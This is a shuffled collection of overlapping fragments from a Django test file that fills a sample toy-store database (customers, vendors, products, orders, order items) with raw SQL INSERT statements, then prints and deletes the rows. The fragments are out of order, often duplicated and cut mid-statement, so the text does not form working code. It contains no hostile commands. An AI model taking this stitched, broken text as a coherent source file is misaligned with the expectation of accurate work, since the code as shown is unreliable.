South Lake Drive', 'Columbus', 'OH', '43333',", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 2, 'BR03', 5,", "Inc.','555 High Street','Dollsville','CA','99999', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city,", "cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000003',", "100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\", "complete with bean bag worms with which to feed it');\")", "print(i.to_dict()) for i in OrderItems.objects.all(): print(i.to_dict()) for i in Products.objects.all():", "ours','1 Rue Amusement','Paris', NULL,'45678', 'France');\") # Populate Products table cursor.execute(\"INSERT", "'Bird bean bag toy, eggs are not included');\") cursor.execute(\"INSERT INTO", "vend_zip, vend_country) \\ VALUES('BRE02','Bear Emporium','500 Park Street','Anytown','OH','44333', 'USA');\") cursor.execute(\"INSERT INTO", "'BNBG01', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "cust_email) \\ VALUES('1000000004', 'Fun4All', '829 Riverside Drive', 'Phoenix', 'AZ', '88888',", "crown');\") # Populate Orders table cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id)", "vend_country) \\ VALUES('BRE02','Bear Emporium','500 Park Street','Anytown','OH','44333', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id,", "'12 inch teddy bear, comes with cap and jacket');\") cursor.execute(\"INSERT", "\\ VALUES('BR01', 'BRS01', '8 inch teddy bear', 5.99, '8 inch", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 4, 'BNBG02',", "= '__MeGustas__' from django.test import TestCase from django.db import connection", "order_date, cust_id) \\ VALUES(20005, '2020-05-01', '1000000001');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date,", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20009, 3,", "cust_zip, cust_country, cust_contact) \\ VALUES('1000000005', 'The Toy Store', '4545 53rd", "order_date, cust_id) \\ VALUES(20006, '2020-01-12', '1000000003');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date,", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 2, 'BNBG01', 100,", "cust_contact, cust_email) \\ VALUES('1000000001', 'Village Toys', '200 Maple Lane', 'Detroit',", "quantity, item_price) \\ VALUES(20008, 3, 'BNBG01', 10, 3.49);\") cursor.execute(\"INSERT INTO", "for i in Vendors.objects.all(): print(i.to_dict()) for i in Orders.objects.all(): print(i.to_dict())", "carrots');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RGAN01',", "'BNBG01', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "for i in Orders.objects.all(): print(i.to_dict()) for i in OrderItems.objects.all(): print(i.to_dict())", "'BR01', 20, 5.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "prod_name, prod_price, prod_desc) \\ VALUES('BR01', 'BRS01', '8 inch teddy bear',", "\\ VALUES(20007, 2, 'BNBG01', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('FRB01','Furball Inc.','1000 5th Avenue','New", "\\ VALUES('JTS01','Jouets et ours','1 Rue Amusement','Paris', NULL,'45678', 'France');\") # Populate", "cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RYL02', 'FNG01',", "cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RGAN01', 'DLL01',", "prod_desc) \\ VALUES('RYL02', 'FNG01', 'Queen doll', 9.49, '12 inch queen", "VALUES(20008, '2020-02-03', '1000000005');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20009,", "VALUES(20007, 1, 'BR03', 50, 11.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 1, 'RGAN01', 5,", "'IN', '42222', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address,", "cust_contact, cust_email) \\ VALUES('1000000004', 'Fun4All', '829 Riverside Drive', 'Phoenix', 'AZ',", "vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('BRS01','Bears R Us','123 Main", "doll', 9.49, '12 inch king doll with royal garments and", "inch teddy bear, comes with cap and jacket');\") cursor.execute(\"INSERT INTO", "method. Customers.objects.all().delete() Vendors.objects.all().delete() Orders.objects.all().delete() OrderItems.objects.all().delete() Products.objects.all().delete() def test_customers(self): for i", "for i in OrderItems.objects.all(): print(i.to_dict()) for i in Products.objects.all(): print(i.to_dict())", "INTO Orders(order_num, order_date, cust_id) \\ VALUES(20008, '2020-02-03', '1000000005');\") cursor.execute(\"INSERT INTO", "cust_zip, cust_country, cust_contact) \\ VALUES('1000000002', 'Kids Place', '333 South Lake", "inch Raggedy Ann doll');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price,", "toy', 3.49, 'Bird bean bag toy, eggs are not included');\")", "VALUES('BRE02','Bear Emporium','500 Park Street','Anytown','OH','44333', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address,", "\\ VALUES('BNBG02', 'DLL01', 'Bird bean bag toy', 3.49, 'Bird bean", "django.db import connection from tutorials.create_table.models import * # Create your", "1, 'BNBG01', 250, 2.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "'England');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country)", "Orders(order_num, order_date, cust_id) \\ VALUES(20006, '2020-01-12', '1000000003');\") cursor.execute(\"INSERT INTO Orders(order_num,", "prod_id, quantity, item_price) \\ VALUES(20007, 5, 'RGAN01', 50, 4.49);\") cursor.execute(\"INSERT", "5, 11.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\", "* # Create your tests here. class TestHealthFile(TestCase): def setUp(self):", "'DLL01', 'Raggedy Ann', 4.99, '18 inch Raggedy Ann doll');\") cursor.execute(\"INSERT", "'BNBG01', 250, 2.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "Ann doll');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\", "Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR02', 'BRS01', '12 inch", "\\ VALUES('FRB01','Furball Inc.','1000 5th Avenue','New York','NY','11111', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id,", "'1000000001');\") # Populate OrderItems table cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "bean bag toy', 3.49, 'Fish bean bag toy, complete with", "item_price) \\ VALUES(20008, 4, 'BNBG02', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "Populate Products table cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc)", "bean bag toy, eggs are not included');\") cursor.execute(\"INSERT INTO Products(prod_id,", "TestCase from django.db import connection from tutorials.create_table.models import * #", "\\ VALUES('1000000003', 'Fun4All', '1 Sunny Place', 'Muncie', 'IN', '42222', 'USA',", "'<NAME>');\") # Populate Vendors table cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address,", "'1000000004');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20008, '2020-02-03', '1000000005');\")", "2, 'BNBG02', 250, 2.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "cust_state, cust_zip, cust_country, cust_contact) \\ VALUES('1000000002', 'Kids Place', '333 South", "bag toy, complete with bean bag worms with which to", "'<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city, cust_state, cust_zip,", "cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20009, '2020-02-08', '1000000001');\") #", "Vendors table cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip,", "VALUES(20005, 2, 'BR03', 100, 10.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 3, 'BNBG02', 100,", "vend_state, vend_zip, vend_country) \\ VALUES('FRB01','Furball Inc.','1000 5th Avenue','New York','NY','11111', 'USA');\")", "to feed it');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc)", "VALUES(20007, 4, 'BNBG03', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "from tutorials.create_table.models import * # Create your tests here. class", "Street','Anytown','OH','44333', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip,", "vend_state, vend_zip, vend_country) \\ VALUES('BRS01','Bears R Us','123 Main Street','Bear Town','MI','44444',", "4, 'BNBG03', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact) \\ VALUES('1000000002', 'Kids Place',", "\\ VALUES(20005, 1, 'BR01', 100, 5.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "Maple Lane', 'Detroit', 'MI', '44444', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO", "Place', '333 South Lake Drive', 'Columbus', 'OH', '43333', 'USA', 'Michelle", "prod_price, prod_desc) \\ VALUES('BR03', 'BRS01', '18 inch teddy bear', 11.99,", "\\ VALUES('BR03', 'BRS01', '18 inch teddy bear', 11.99, '18 inch", "'Village Toys', '200 Maple Lane', 'Detroit', 'MI', '44444', 'USA', '<NAME>',", "VALUES('BRS01','Bears R Us','123 Main Street','Bear Town','MI','44444', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id,", "cust_state, cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000001', 'Village Toys', '200", "VALUES(20006, 2, 'BR02', 10, 8.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "VALUES(20008, 1, 'RGAN01', 5, 4.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "R Us','123 Main Street','Bear Town','MI','44444', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name,", "quantity, item_price) \\ VALUES(20008, 2, 'BR03', 5, 11.99);\") cursor.execute(\"INSERT INTO", "Customers.objects.all().delete() Vendors.objects.all().delete() Orders.objects.all().delete() OrderItems.objects.all().delete() Products.objects.all().delete() def test_customers(self): for i in", "prod_id, quantity, item_price) \\ VALUES(20007, 4, 'BNBG03', 100, 2.99);\") cursor.execute(\"INSERT", "in Customers.objects.all(): print(i.to_dict()) for i in Vendors.objects.all(): print(i.to_dict()) for i", "from django.db import connection from tutorials.create_table.models import * # Create", "Galaxy Road','London', NULL,'N16 6PS', 'England');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address,", "'__MeGustas__' from django.test import TestCase from django.db import connection from", "teddy bear', 11.99, '18 inch teddy bear, comes with cap", "'BR03', 10, 11.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('JTS01','Jouets et", "Products.objects.all().delete() def test_customers(self): for i in Customers.objects.all(): print(i.to_dict()) for i", "item_price) \\ VALUES(20005, 2, 'BR03', 100, 10.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "Rue Amusement','Paris', NULL,'45678', 'France');\") # Populate Products table cursor.execute(\"INSERT INTO", "# Populate Vendors table cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city,", "'BNBG03', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "def setUp(self): cursor = connection.cursor() # Populate Customers table cursor.execute(\"INSERT", "5.99, '8 inch teddy bear, comes with cap and jacket');\")", "5, 'BNBG03', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "quantity, item_price) \\ VALUES(20009, 3, 'BNBG03', 250, 2.49);\") def tearDown(self):", "VALUES('1000000003', 'Fun4All', '1 Sunny Place', 'Muncie', 'IN', '42222', 'USA', '<NAME>',", "and crown');\") # Populate Orders table cursor.execute(\"INSERT INTO Orders(order_num, order_date,", "order_date, cust_id) \\ VALUES(20007, '2020-01-30', '1000000004');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date,", "'RGAN01', 5, 4.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "and crown');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\", "cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\", "order_item, prod_id, quantity, item_price) \\ VALUES(20008, 4, 'BNBG02', 10, 3.49);\")", "VALUES(20009, 1, 'BNBG01', 250, 2.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "Create your tests here. class TestHealthFile(TestCase): def setUp(self): cursor =", "'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city, cust_state,", "50, 11.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\", "'DLL01', 'Rabbit bean bag toy', 3.49, 'Rabbit bean bag toy,", "vend_state, vend_zip, vend_country) \\ VALUES('BRE02','Bear Emporium','500 Park Street','Anytown','OH','44333', 'USA');\") cursor.execute(\"INSERT", "VALUES(20007, 2, 'BNBG01', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "vend_state, vend_zip, vend_country) \\ VALUES('JTS01','Jouets et ours','1 Rue Amusement','Paris', NULL,'45678',", "cust_state, cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000004', 'Fun4All', '829 Riverside", "prod_id, quantity, item_price) \\ VALUES(20008, 4, 'BNBG02', 10, 3.49);\") cursor.execute(\"INSERT", "Ann', 4.99, '18 inch Raggedy Ann doll');\") cursor.execute(\"INSERT INTO Products(prod_id,", "vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('BRE02','Bear Emporium','500 Park", "VALUES(20006, 1, 'BR01', 20, 5.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "prod_id, quantity, item_price) \\ VALUES(20008, 5, 'BNBG03', 10, 3.49);\") cursor.execute(\"INSERT", "order_item, prod_id, quantity, item_price) \\ VALUES(20006, 3, 'BR03', 10, 11.99);\")", "Customers(cust_id, cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact, cust_email) \\", "Customers.objects.all(): print(i.to_dict()) for i in Vendors.objects.all(): print(i.to_dict()) for i in", "order_item, prod_id, quantity, item_price) \\ VALUES(20009, 1, 'BNBG01', 250, 2.49);\")", "vend_country) \\ VALUES('BRS01','Bears R Us','123 Main Street','Bear Town','MI','44444', 'USA');\") cursor.execute(\"INSERT", "53rd Street', 'Chicago', 'IL', '54545', 'USA', '<NAME>');\") # Populate Vendors", "INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR01', 'BRS01', '8", "INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR02', 'BRS01', '12", "VALUES(20009, '2020-02-08', '1000000001');\") # Populate OrderItems table cursor.execute(\"INSERT INTO OrderItems(order_num,", "'4545 53rd Street', 'Chicago', 'IL', '54545', 'USA', '<NAME>');\") # Populate", "4.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008,", "doll', 9.49, '12 inch queen doll with royal garments and", "'2020-02-08', '1000000001');\") # Populate OrderItems table cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "'FNG01', 'King doll', 9.49, '12 inch king doll with royal", "10, 11.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\", "VALUES('RYL01', 'FNG01', 'King doll', 9.49, '12 inch king doll with", "'Fun4All', '1 Sunny Place', 'Muncie', 'IN', '42222', 'USA', '<NAME>', '<EMAIL>');\")", "with cap and jacket');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price,", "'BNBG03', 250, 2.49);\") def tearDown(self): # Clean up run after", "quantity, item_price) \\ VALUES(20009, 1, 'BNBG01', 250, 2.49);\") cursor.execute(\"INSERT INTO", "Street','Dollsville','CA','99999', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip,", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 5, 'BNBG03',", "prod_id, quantity, item_price) \\ VALUES(20009, 1, 'BNBG01', 250, 2.49);\") cursor.execute(\"INSERT", "'<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country,", "prod_name, prod_price, prod_desc) \\ VALUES('BR03', 'BRS01', '18 inch teddy bear',", "comes with bean bag carrots');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name,", "king doll with royal garments and crown');\") cursor.execute(\"INSERT INTO Products(prod_id,", "\\ VALUES(20006, '2020-01-12', '1000000003');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\", "order_item, prod_id, quantity, item_price) \\ VALUES(20006, 2, 'BR02', 10, 8.99);\")", "Street','Bear Town','MI','44444', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state,", "'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country)", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20006, 2, 'BR02', 10," ]